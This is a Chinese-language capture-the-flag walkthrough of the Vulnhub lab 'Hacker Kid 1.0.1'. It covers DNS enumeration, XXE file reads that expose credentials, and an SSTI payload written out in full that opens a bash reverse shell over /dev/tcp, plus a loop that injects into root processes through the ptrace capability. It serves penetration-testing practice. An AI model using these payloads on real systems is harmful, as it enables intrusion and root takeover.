Vulnhub 靶场 HACKER KID: 1.0.1


前期准备:

靶机地址:https://www.vulnhub.com/entry/hacker-kid-101,719/

kali攻击机ip:192.168.11.129
靶机ip:192.168.11.208

一、信息收集与利用

1、使用nmap对目标靶机进行扫描

image

发现开放了DNS的 53 端口,http的 80 和 9999 端口。

2. 80端口

image

他说要更多的挖掘,看一下源代码:

image

有提示,说用 get 参数 page_no 去查看页面,做一下模糊测试,这里的页面大概是数字的那就用 burpsuite 扫一下:

image

又发现,访问一下:

image

提示说有一些子域。并且还给了一个子域 hackers.blackhat.local,把这个域名加入 hosts 文件,再访问:

image

和之前的一样,再用 dig 工具挖掘一下:

image

发现一个新的域名:hackerkid.blackhat.local,加到 hosts 文件中访问一下:

image

是个表单,看一下源代码:

image

发现提交的表单信息是 XML 文件格式的,可以试试 [XXE](https : //github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection "XXE") 注入,抓包注入一下试试:

image

image

注入成功,电子邮件被替换为 /etc/passwd 文件的内容,并且看到 saket 的用户权限较高,查看他账户下有没有 .ssh,.bashrc 等文件:

image

.ssh 中的文件看不到,不过看到了 .bashrc 文件,base64 解码一下:

image

image

得到有个用户名和密码,username="admin",password="Saket!#$%@!!"可能在 9999 端口中会用到。

3. 9999端口

image

用刚才发现的用户名密码登陆一下:

image

登陆之后什么都没有,密码中有 saket,如果存在 saket用户,那可能 saket 用户的密码也是这个,试一下:

image

能登进去,他说告诉他名字,把 name 当做参数试一下:

image

返回 Hello 1,试一下 SSTI

image

image

SSTI 有效,那尝试写入shell并用nc监听:

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.11.129/1234 0>&1"')}}

访问后报错了,那就 url 编码一下

%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.129%2F1234%200%3E%261%22%27%29%7D%7D

image

二、提权

nc 连接成功,升级 shell 后简单查看一下系统内的文件后没发现什么,linpeas.sh跑一下:

image

image

检测到python具备 cap_sys_ptrace+ep 能力,可以利用这个进行提权,提权原理见:https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc 。网上就有提权脚本,下下来:

利用这个脚本的话就需要找个 root 进程进行注入,写个简单的脚本对 root 进程注入批量的尝试:

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

netstat 查看一下是否开启监听了5600端口:

image

在监听状态,直接在 kali 上 nc 连接:

image

获得 root 权限。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM